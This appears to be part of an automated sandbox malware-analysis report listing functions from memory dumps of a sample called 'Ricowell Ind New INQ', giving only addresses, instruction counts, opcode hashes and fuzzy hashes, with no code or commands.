Opcode ID: b10c7932b254f136361a00da209bd0f1f317ff6b27432d4030294687b97bdc54
Instruction ID: 0b1910085a946149544f51120581fdab4b7733fc89a65aa2e1d38df1b71febf2
Opcode Fuzzy Hash: b10c7932b254f136361a00da209bd0f1f317ff6b27432d4030294687b97bdc54
Instruction Fuzzy Hash: BD816D75A002099FDF18CF99C8D1AAEB7B6FF84328F158269D9159B344DB74EA02CB50

Function 378BE1A4 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6394239725b82ea231e554f2eec4cdd5fe9f0d1707cc6d6fc5fc096fe7e84097
Instruction ID: 02e891d61904ddc21dc1088f9aed55fba5529c0011ac866af05af30e46294080
Opcode Fuzzy Hash: 6394239725b82ea231e554f2eec4cdd5fe9f0d1707cc6d6fc5fc096fe7e84097
Instruction Fuzzy Hash: 93817A75A00609AFEB25CFA8D880BDEB7F9FF98364F10442DE455A7350DB30A815DBA0

Function 3794970B Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81c70f8dbb8e70ade6eb8d04cf80d90a22e6be2e8178a67b070f4f6fe4fc0dfa
Instruction ID: 8adb6d42c75b0a927dd76cf63c0552543cf8b036b1a09898fe2fcb7864dc72bf
Opcode Fuzzy Hash: 81c70f8dbb8e70ade6eb8d04cf80d90a22e6be2e8178a67b070f4f6fe4fc0dfa
Instruction Fuzzy Hash: 4D61B1B5A092059BEB19CF68CC80BBE77AEAF8437CF504359E811A7384DB34E941C791

Function 3789C560 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee4f3d2f9987216222bd120eec3f83eca3ac0daf524a262585fa53115bbe6e88
Instruction ID: 731e070624449f5f958d128fc5d6c85e77d5d7ae79026e9051cecc069e4832d0
Opcode Fuzzy Hash: ee4f3d2f9987216222bd120eec3f83eca3ac0daf524a262585fa53115bbe6e88
Instruction Fuzzy Hash: 4B71CEB4805768DFEB158F69C8907EEBBF4FF9A720F10556AE881A7350D7359801CBA0

Function 3789252B Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c1ed7686837290ae3d3919d4adbb441876c7731a1e02bf28c65443c8f33b905
Instruction ID: 8fd1f30d15629fa66d7150fae6bf100e00b8f41063650cc41e54f1d56c9b0dea
Opcode Fuzzy Hash: 5c1ed7686837290ae3d3919d4adbb441876c7731a1e02bf28c65443c8f33b905
Instruction Fuzzy Hash: 8E71E2757046419FD382CF28C880BA6B7E5FF96314F0485B9E858CB752DB38E945CBA2

Function 378877F9 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 863d733009e4b85cde924d96710d5ded05eee1de8df3e6c4ae659dddad1443b6
Instruction ID: 37e80cb2ebef339f44f739a3b432b7dc4cf7b3f74eaac60293bcab52987cf1ed
Opcode Fuzzy Hash: 863d733009e4b85cde924d96710d5ded05eee1de8df3e6c4ae659dddad1443b6
Instruction Fuzzy Hash: 8F515774A08361EFD310CF68C480A2ABBF9FB98794F50496EE59997354DB34EC44CB82

Function 378BB490 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01c7e39105faac0a8b4c63b1ba6597a79ffd4748a62294456245ebcbb853d2d5
Instruction ID: 470d7447a3bf87a117587256c5f259713914712b6567ad4564318d739d48d878
Opcode Fuzzy Hash: 01c7e39105faac0a8b4c63b1ba6597a79ffd4748a62294456245ebcbb853d2d5
Instruction Fuzzy Hash: 8C5104B1104341DFF320DF68DC80F5A77A8EBA0768F10062DE921972A2DB38D845CFA2

Function 3787B273 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 153f586e676d0a0230139a1df6413202455789aafe55e1b79956e20c9ca96ced
Instruction ID: 31b4e2cd0bb536de253b1856d65fdaa65d4fc9b11b81e025a1f91c4b52cd39cc
Opcode Fuzzy Hash: 153f586e676d0a0230139a1df6413202455789aafe55e1b79956e20c9ca96ced
Instruction Fuzzy Hash: A2412671640780AFE7258F2DC880B1A7BEAEF65764F11453AE52ADB690DB74D881CF40

Function 378A94FA Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8c9f52fe8d4e8adc143130e570d8ec405285502149120f67e3b39cf9f35f9573
Instruction ID: b34c289247e13102c48b91e3ad6961104ac981d64ff116f6b0b911e930308b68
Opcode Fuzzy Hash: 8c9f52fe8d4e8adc143130e570d8ec405285502149120f67e3b39cf9f35f9573
Instruction Fuzzy Hash: 1751DE70904309AFEB21CFA9CC81BDDBBB8EF25314F200429E5A4A7191DB35D909DF21

Function 37893660 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739fe6980d44fc0c27a80dfef9ef5c32d3d6f5e0e996edebd9b78bff60948681
Instruction ID: b19334efe86433f60fa8790b2c7ae292fda4a16146fbf229c9bc244f8758220e
Opcode Fuzzy Hash: 739fe6980d44fc0c27a80dfef9ef5c32d3d6f5e0e996edebd9b78bff60948681
Instruction Fuzzy Hash: 2051DFB9A11659AFD301CF68C8807A9B7B0FF2A710F4142B5E854DBB50EB34E991CB80

Function 378BE363 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 579bd461de13c26da24132f6b8930b4881e642da13e7ad80e6796a800a25df79
Instruction ID: eba8039e8e811bc7d85067b1fb5561dfb9e64e749d77e3c3c72751a20fa7cf7d
Opcode Fuzzy Hash: 579bd461de13c26da24132f6b8930b4881e642da13e7ad80e6796a800a25df79
Instruction Fuzzy Hash: 07519C71200A05DFDB25DF68C990F9AB3F9FF28754F40082AE661936A0DB39E941CF51

Function 378A44D1 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1053c694f16524720a5707063e10f75318b9228a9d51e70f51332fbf4f29358
Instruction ID: daaf907a64d6b81b9d0af4090cb6db04aab38353be60c1cc6a8063e417db517c
Opcode Fuzzy Hash: b1053c694f16524720a5707063e10f75318b9228a9d51e70f51332fbf4f29358
Instruction Fuzzy Hash: 9551A1B1D0120AABEF55CF98C450FEEBBB9EF54754F104069E915AB240DB74E944CBA0

Function 379486A8 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c90929569658aa9bc8a455521f40d21dbb701489fce9aaa3d3efebdfa72c20a6
Instruction ID: 0dcc833f5323102ff09fee3ccaf3b93451c44d1378ce95f22b083447105a769e
Opcode Fuzzy Hash: c90929569658aa9bc8a455521f40d21dbb701489fce9aaa3d3efebdfa72c20a6
Instruction Fuzzy Hash: 6141D375710600ABD615CA29C8A0F6BB79EFF816B8F408399E82587381DB74E841E791

Function 375804E8 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967762077.0000000037580000.00000040.00001000.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37580000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c349280b915ec4fb086794764ba661aeff0bfc60ff38cc4c1e39b5174836031d
Instruction ID: 206686424952f0ed8eb92818c2700de45dabf830cb807b9dfc36dbe8edc58d7a
Opcode Fuzzy Hash: c349280b915ec4fb086794764ba661aeff0bfc60ff38cc4c1e39b5174836031d
Instruction Fuzzy Hash: D441C67171CB4D5FD35CAF6894816B6B3E1FB89310F90062ED98EC3252EB74E8468786

Function 378BF63F Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d30cd2255a558b77b0e6d8b687f7f199968882a2543fbb2b8eefc92d880b895b
Instruction ID: ea32bad7270b79a219e441c629c6a23ebf816373679f595bfc2fe4bf3805a503
Opcode Fuzzy Hash: d30cd2255a558b77b0e6d8b687f7f199968882a2543fbb2b8eefc92d880b895b
Instruction Fuzzy Hash: D141D676D00229ABDB11DBE88880AEFB7BC9F29654F110566F910F7710D739DE048BE5

Function 3794A553 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea43246fbd83d83eaef87b522a15b96089fa26436030b0f1b742671951348d63
Instruction ID: 30b1294e6fe1f2a9f2561ab1a566900767444c10afd777b60d25e69251c5fde1
Opcode Fuzzy Hash: ea43246fbd83d83eaef87b522a15b96089fa26436030b0f1b742671951348d63
Instruction Fuzzy Hash: 8D41D272605B15ABD715CE24C9C1A6AB3A9FF84268F04876EE9128B640EB34FD14CB91

Function 378BA350 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc1127abf7982e7e921a5b9ded01fd85ce116ec8dacbb44d751148550374ca51
Instruction ID: 3bb393ff0290d378e2ce548c9f40485542c18127102cc9fd7bf81cb926472e52
Opcode Fuzzy Hash: fc1127abf7982e7e921a5b9ded01fd85ce116ec8dacbb44d751148550374ca51
Instruction Fuzzy Hash: 274118717843459BEF24FF6CE881B9A7B68EB75328F01012DE911AB351DA76DC018B92

Function 3788D454 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9fb6496314a33c0db68a6bd92d65691b710ee2551d2eb2d8c1e6f6774494c26
Instruction ID: 59c742bfba7e5a403016b092e6782860837c0f2ba2a595adea0cbb9015158a5a
Opcode Fuzzy Hash: e9fb6496314a33c0db68a6bd92d65691b710ee2551d2eb2d8c1e6f6774494c26
Instruction Fuzzy Hash: 8D51E076304794DFD311CF18C844B2973E9AB69BA8F4905A5F811DBBA1DB38ED40CB62

Function 378C2670 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 378b6ea2690461ba2e231297a609f0620a72d96a2581e8c9db1b1bf84233c730
Instruction ID: 018000b4ba93643708bb7f1f7a1daf7573545e63845016b46fb32b63d16ee2ff
Opcode Fuzzy Hash: 378b6ea2690461ba2e231297a609f0620a72d96a2581e8c9db1b1bf84233c730
Instruction Fuzzy Hash: 9F516E79E00619CFDB04CF98C480AADF7B1FF95B64F2581A9D815A7350D732AE81CB91

Function 379481EE Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a1741bb7668dbd0e330b4cee233e7836a49f18a3e4eafb0fad66dd8014cf6e
Instruction ID: 4d3661189dba19e8db632d7d3c3b3e4c0f5625641d423e8ed2ff7aa7b5e74796
Opcode Fuzzy Hash: 52a1741bb7668dbd0e330b4cee233e7836a49f18a3e4eafb0fad66dd8014cf6e
Instruction Fuzzy Hash: 2D41C875B00209AFDB14CF95C880EAFB7BEEF88794F5442A9E805A7341DA74DE01D751

Function 378807A7 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 070f38ba6ab771b93480b78fd6774db94292e9004a5b5157cb9365438ba09882
Instruction ID: 28a9867832aa32bac4dad903ef67c56bddefb53e3f7a1d111beda13f721cc000
Opcode Fuzzy Hash: 070f38ba6ab771b93480b78fd6774db94292e9004a5b5157cb9365438ba09882
Instruction Fuzzy Hash: 5641B371600709AFE324CF28D880A22B7F5FF69314B504A6DD456C7A50EB34F495CF91

Function 378AA390 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15d33a857d1f5bde4c0dfde99434309bca0bf209f65a6da16a4d52ff7e9a8e06
Instruction ID: 2b792ddafe0b27dc1fc1dd8167484e28de95ab0e4c714eb2c84c4d6a26d1e059
Opcode Fuzzy Hash: 15d33a857d1f5bde4c0dfde99434309bca0bf209f65a6da16a4d52ff7e9a8e06
Instruction Fuzzy Hash: 3141AF75949784CFEB41CF68D4917ED77B4FB29368F000265E410BB6A1DB389905CFA2

Function 378AD600 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3f0e664e8de5cf7e6ccb84ee38e228ad9d6086e43d4506cfd11af5c2a4e3b73
Instruction ID: 12c51a93d913c87501d1a4a3f3c01bbded63165a1099fd45c7eb6edac7084421
Opcode Fuzzy Hash: f3f0e664e8de5cf7e6ccb84ee38e228ad9d6086e43d4506cfd11af5c2a4e3b73
Instruction Fuzzy Hash: 7D41E671144240DFE360EF59D880E66B7A8FFA53B4F00066DF965976A1CB38E811CF92

Function 378B0630 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db222aff31ac99bbcf2dda992de91452d5bad2b8758ffabb997b8c49cee3dcdf
Instruction ID: 9bc218a35f718529a3a6b398ba926b3b27c16d06950ac73f6791429b325dc44c
Opcode Fuzzy Hash: db222aff31ac99bbcf2dda992de91452d5bad2b8758ffabb997b8c49cee3dcdf
Instruction Fuzzy Hash: 464144B5A04709EFDB24CF98C980AAAB7F4EF68710F10496DE556EB390D730AA44CB50

Function 378BF523 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2d80568c29e64d11eb932138303783f98287ced4b0f11bd728cd17ef079cf34
Instruction ID: d7ef20de980260e1581dc70053471cc2e90e3bdb8d08db3d89a69379f3ff9a06
Opcode Fuzzy Hash: e2d80568c29e64d11eb932138303783f98287ced4b0f11bd728cd17ef079cf34
Instruction Fuzzy Hash: 1A411CB4900288EFDB24CFA9D881AADBBF4BF58314F50826EE459E7201D7349A45CF61

Function 3794D7A7 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 141681746aeb5cdd564fd8f1f39355d7a5c6765c563a1a01e07208efc6dfa06a
Instruction ID: 1e8d876a28e4cb4db0e1bd9091b057ff281ff5f45e239458153a0f98bcf94399
Opcode Fuzzy Hash: 141681746aeb5cdd564fd8f1f39355d7a5c6765c563a1a01e07208efc6dfa06a
Instruction Fuzzy Hash: 5841F2B96043018FE315CF28C880B2BB7E9EBC4368F06467CE955D7381DA78E845CB91

Function 378B1796 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc88a8956613aad3f15efda71f583b1890b162452fd1d366d1e713debde85699
Instruction ID: 2cdef61aaf06d4c044925a98d5b42b42d10cf8753a28cb082a1bf60a1c93351b
Opcode Fuzzy Hash: bc88a8956613aad3f15efda71f583b1890b162452fd1d366d1e713debde85699
Instruction Fuzzy Hash: EE4176B5E04245DFEB14CF58E880B99BBF2FB59314F54816AE819AB344C739A941CB90

Function 37900227 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323c27c2441cca6ff7161d91f5dd777007a8306b6a0e5b2267546ffb16819803
Instruction ID: a85f39958cbce82d3e0049a5fc3d57af6ce7d8ad16109b3606179d94b128ea87
Opcode Fuzzy Hash: 323c27c2441cca6ff7161d91f5dd777007a8306b6a0e5b2267546ffb16819803
Instruction Fuzzy Hash: 6141CE766146459FC321CF6CD890B6AB3E9BF88754F010A29F868C7690E734E914CBA6

Function 378901F1 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 60217219fab30d7d5fc2cb2f90293db42116593f581b72c7076c745c3ea74110
Instruction ID: b40a42afb9b65b75a3c5a8f887ef607110c4543a574a72d863a571d455d2e0a4
Opcode Fuzzy Hash: 60217219fab30d7d5fc2cb2f90293db42116593f581b72c7076c745c3ea74110
Instruction Fuzzy Hash: 83312935A00349AFDB128FE8CC44BDABBE9AF26360F044175E868D7352C6789484CB65

Function 378A9194 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7e967c9410865ecf8e1d6b2a11c016905bffcfb811c72ab91d47b3d1911613a4
Instruction ID: aa98bc582dcd800179526ff7899230e3230f5b45b2b46cff4c664142ab72cab5
Opcode Fuzzy Hash: 7e967c9410865ecf8e1d6b2a11c016905bffcfb811c72ab91d47b3d1911613a4
Instruction Fuzzy Hash: F931A476A047289FEB61CF58CC40F9AB7B5EF96320F1101A9A56CA7240DB34DD45CF51

Function 378A66E0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd
